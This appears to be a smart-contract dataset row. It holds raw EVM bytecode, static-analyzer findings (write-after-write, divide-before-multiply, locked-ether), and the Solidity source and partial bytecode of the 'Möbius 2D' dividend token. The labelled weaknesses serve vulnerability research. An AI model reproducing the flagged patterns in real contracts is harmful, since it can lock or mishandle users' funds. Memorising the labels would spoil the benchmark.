2957fe5b0490508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b6000600660009054906101000a900460ff1615611fb957600080fd5b612002600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611670565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120cb600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611670565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612194600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361168a565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b60055481565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a38273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9256104eb850a6040518082815260200191505060405180910390a3600090509392505050565b60008082905060c8600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205402915050919050565b6000603a6101f4600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540302905092915050565b6000600160149054906101000a900460ff16156125075760019050612525565b600160149054906101000a900460ff166125245760009050612525565b5b90565b600660029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461258257600080fd5b600061259082600554611670565b9050600060028083020a905060058101905061260c600860008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361168a565b600860008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600f8102905082600581905550620186a09050505050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461272957600080fd5b600082905081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160146101000a81548160ff021916908315150217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3505050565b600081600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a38273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9256078858161294c57fe5b046040518082815260200191505060405180910390a3600090509392505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36000905092915050565b60038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612b195780601f10612aee57610100808354040283529160200191612b19565b820191906000526020600020905b815481529060010190602001808311612afc57829003601f168201915b505050505081565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612b7957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612bb357600080fd5b600063012eec259050612c05600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611670565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060028181612c5257fe5b049050612c6160055483611670565b60058190555063423a35c881039050600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3505050565b60008060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508091505090565b600081600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36000905092915050565b6000600660009054906101000a900460ff1615612e1657600080fd5b612e5f600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611670565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006180129050612ef2600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461168a565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060298181612f3f57fe5b0490508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360ea81019050600191505092915050565b60008060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508091505090565b6000600660009054906101000a900460ff161561300157600080fd5b620d19d961304e600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611670565b02600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506969e10de76676d0800000600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506107d06019613174600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205485611670565b0101600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506002613241600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461168a565b8161324857fe5b04600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600090509392505050565b60008060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508091505090565b60007004140c78940f6a24fdffc78873d4490d21600a600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540302905092915050565b600081600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3600090509392505050565b600060056208ff626104ea600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548161354857fe5b040301905092915050565b60006014601d600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054816135dd57fe5b04816135e557fe5b04905092915050565b600081600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a38273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600a85026040518082815260200191505060405180910390a3600090509392505050565b600660019054906101000a900460ff1681565b6000600a80610102600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054020a0a905092915050565b6000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600060458202600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061022b8202600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506017828161398857fe5b04600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600a85026040518082815260200191505060405180910390a38273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600f85026040518082815260200191505060405180910390a38273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925601e85026040518082815260200191505060405180910390a36001905092915050565b6000600262024d6d600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540102905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614613c3257600080fd5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3505056fea2646970667358221220fb925ba0d18612d578b7ce4f9655488142e07aeb438a04c2a2a7fe5fffcb9d8864736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "write-after-write", "impact": "Medium", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 8,709 |
0x54cdc9d889c28f55f59f6b136822868c7d4726fc
|
pragma solidity^0.4.24;
//////// https://M2D.win \\\\\\\
//////// Laughing Man \\\\\\\
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract StandardToken {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
uint256 totalSupply_;
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract MobiusToken is MintableToken {
using SafeMath for uint;
address creator = msg.sender;
uint8 public decimals = 18;
string public name = "Möbius 2D";
string public symbol = "M2D";
uint public totalDividends;
uint public lastRevenueBnum;
uint public unclaimedDividends;
struct DividendAccount {
uint balance;
uint lastCumulativeDividends;
uint lastWithdrawnBnum;
}
mapping (address => DividendAccount) public dividendAccounts;
modifier onlyTokenHolders{
require(balances[msg.sender] > 0, "Not a token owner!");
_;
}
modifier updateAccount(address _of) {
_updateDividends(_of);
_;
}
event DividendsWithdrawn(address indexed from, uint value);
event DividendsTransferred(address indexed from, address indexed to, uint value);
event DividendsDisbursed(uint value);
function mint(address _to, uint256 _amount) public
returns (bool)
{
// devs get 33.3% of all tokens. Much of this will be used for bounties and community incentives
super.mint(creator, _amount/2);
// When an investor gets 2 tokens, devs get 1
return super.mint(_to, _amount);
}
function transfer(address _to, uint _value) public returns (bool success) {
_transferDividends(msg.sender, _to, _value);
require(super.transfer(_to, _value), "Failed to transfer tokens!");
return true;
}
function transferFrom(address _from, address _to, uint _value) public returns (bool success) {
_transferDividends(_from, _to, _value);
require(super.transferFrom(_from, _to, _value), "Failed to transfer tokens!");
return true;
}
// Devs can move tokens without dividends during the ICO for bounty purposes
function donate(address _to, uint _value) public returns (bool success) {
require(msg.sender == creator, "You can't do that!");
require(!mintingFinished, "ICO Period is over - use a normal transfer.");
return super.transfer(_to, _value);
}
function withdrawDividends() public onlyTokenHolders {
uint amount = _getDividendsBalance(msg.sender);
require(amount > 0, "Nothing to withdraw!");
unclaimedDividends = unclaimedDividends.sub(amount);
dividendAccounts[msg.sender].balance = 0;
dividendAccounts[msg.sender].lastWithdrawnBnum = block.number;
msg.sender.transfer(amount);
emit DividendsWithdrawn(msg.sender, amount);
}
function dividendsAvailable(address _for) public view returns(bool) {
return lastRevenueBnum >= dividendAccounts[_for].lastWithdrawnBnum;
}
function getDividendsBalance(address _of) external view returns(uint) {
uint outstanding = _dividendsOutstanding(_of);
if (outstanding > 0) {
return dividendAccounts[_of].balance.add(outstanding);
}
return dividendAccounts[_of].balance;
}
function disburseDividends() public payable {
if(msg.value == 0) {
return;
}
totalDividends = totalDividends.add(msg.value);
unclaimedDividends = unclaimedDividends.add(msg.value);
lastRevenueBnum = block.number;
emit DividendsDisbursed(msg.value);
}
function () public payable {
disburseDividends();
}
function _transferDividends(address _from, address _to, uint _tokensValue) internal
updateAccount(_from)
updateAccount(_to)
{
uint amount = dividendAccounts[_from].balance.mul(_tokensValue).div(balances[_from]);
if(amount > 0) {
dividendAccounts[_from].balance = dividendAccounts[_from].balance.sub(amount);
dividendAccounts[_to].balance = dividendAccounts[_to].balance.add(amount);
dividendAccounts[_to].lastWithdrawnBnum = dividendAccounts[_from].lastWithdrawnBnum;
emit DividendsTransferred(_from, _to, amount);
}
}
function _getDividendsBalance(address _holder) internal
updateAccount(_holder)
returns(uint)
{
return dividendAccounts[_holder].balance;
}
function _updateDividends(address _holder) internal {
require(mintingFinished, "Can't calculate balances if still minting tokens!");
uint outstanding = _dividendsOutstanding(_holder);
if (outstanding > 0) {
dividendAccounts[_holder].balance = dividendAccounts[_holder].balance.add(outstanding);
}
dividendAccounts[_holder].lastCumulativeDividends = totalDividends;
}
function _dividendsOutstanding(address _holder) internal view returns(uint) {
uint newDividends = totalDividends.sub(dividendAccounts[_holder].lastCumulativeDividends);
if(newDividends == 0) {
return 0;
} else {
return newDividends.mul(balances[_holder]).div(totalSupply_);
}
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
|
0x6080604052600436106101535763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461015d57806306fdde0314610186578063095ea7b31461021057806318160ddd1461023457806323b872dd1461025b5780632e92abdd14610285578063313ce5671461029a57806336ef1abb146101535780633cb802b9146102c557806340c10f19146102da578063427539c9146102fe57806351ee387d14610313578063661884631461033457806370a0823114610358578063715018a6146103795780637d64bcb41461038e5780638da5cb5b146103a357806395d89b41146103d4578063997664d7146103e9578063a9059cbb146103fe578063d73dd62314610422578063dca919de14610446578063dd62ed3e14610485578063e69d849d146104ac578063f2fde38b146104d0578063f88351d9146104f1575b61015b610512565b005b34801561016957600080fd5b50610172610584565b604080519115158252519081900360200190f35b34801561019257600080fd5b5061019b610594565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101d55781810151838201526020016101bd565b50505050905090810190601f1680156102025780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561021c57600080fd5b50610172600160a060020a0360043516602435610622565b34801561024057600080fd5b50610249610688565b60408051918252519081900360200190f35b34801561026757600080fd5b50610172600160a060020a036004358116906024351660443561068e565b34801561029157600080fd5b5061015b610706565b3480156102a657600080fd5b506102af610861565b6040805160ff9092168252519081900360200190f35b3480156102d157600080fd5b50610249610871565b3480156102e657600080fd5b50610172600160a060020a0360043516602435610877565b34801561030a57600080fd5b506102496108a5565b34801561031f57600080fd5b50610172600160a060020a03600435166108ab565b34801561034057600080fd5b50610172600160a060020a03600435166024356108ce565b34801561036457600080fd5b50610249600160a060020a03600435166109bf565b34801561038557600080fd5b5061015b6109da565b34801561039a57600080fd5b50610172610a48565b3480156103af57600080fd5b506103b8610acc565b60408051600160a060020a039092168252519081900360200190f35b3480156103e057600080fd5b5061019b610adb565b3480156103f557600080fd5b50610249610b36565b34801561040a57600080fd5b50610172600160a060020a0360043516602435610b3c565b34801561042e57600080fd5b50610172600160a060020a0360043516602435610bb2565b34801561045257600080fd5b50610467600160a060020a0360043516610c4b565b60408051938452602084019290925282820152519081900360600190f35b34801561049157600080fd5b50610249600160a060020a0360043581169060243516610c6c565b3480156104b857600080fd5b50610172600160a060020a0360043516602435610c97565b3480156104dc57600080fd5b5061015b600160a060020a0360043516610d8e565b3480156104fd57600080fd5b50610249600160a060020a0360043516610db1565b34151561051e57610582565b600754610531903463ffffffff610e1a16565b600755600954610547903463ffffffff610e1a16565b600955436008556040805134815290517f23a65426dca7f39133773f3c2b30ae8531465535690013b0be73ee3bd33fb8b39181900360200190a15b565b60035460a060020a900460ff1681565b6005805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561061a5780601f106105ef5761010080835404028352916020019161061a565b820191906000526020600020905b8154815290600101906020018083116105fd57829003601f168201915b505050505081565b336000818152600160209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60025490565b600061069b848484610e2c565b6106a6848484610f66565b15156106fc576040805160e560020a62461bcd02815260206004820152601a60248201527f4661696c656420746f207472616e7366657220746f6b656e7321000000000000604482015290519081900360640190fd5b5060019392505050565b33600090815260208190526040812054811061076c576040805160e560020a62461bcd02815260206004820152601260248201527f4e6f74206120746f6b656e206f776e6572210000000000000000000000000000604482015290519081900360640190fd5b610775336110db565b9050600081116107cf576040805160e560020a62461bcd02815260206004820152601460248201527f4e6f7468696e6720746f20776974686472617721000000000000000000000000604482015290519081900360640190fd5b6009546107e2908263ffffffff6110e716565b600955336000818152600a6020526040808220828155436002909101555183156108fc0291849190818181858888f19350505050158015610827573d6000803e3d6000fd5b5060408051828152905133917f08d688a92fc311df9b853769e8a99b320411042a86f106fd29e7f21ee06e79da919081900360200190a250565b60045460a060020a900460ff1681565b60095481565b60045460009061089390600160a060020a0316600284046110fe565b5061089e83836110fe565b9392505050565b60085481565b600160a060020a03166000908152600a6020526040902060020154600854101590565b336000908152600160209081526040808320600160a060020a038616845290915281205480831061092257336000908152600160209081526040808320600160a060020a0388168452909152812055610957565b610932818463ffffffff6110e716565b336000908152600160209081526040808320600160a060020a03891684529091529020555b336000818152600160209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a3600191505b5092915050565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a031633146109f157600080fd5b600354604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26003805473ffffffffffffffffffffffffffffffffffffffff19169055565b600354600090600160a060020a03163314610a6257600080fd5b60035460a060020a900460ff1615610a7957600080fd5b6003805474ff00000000000000000000000000000000000000001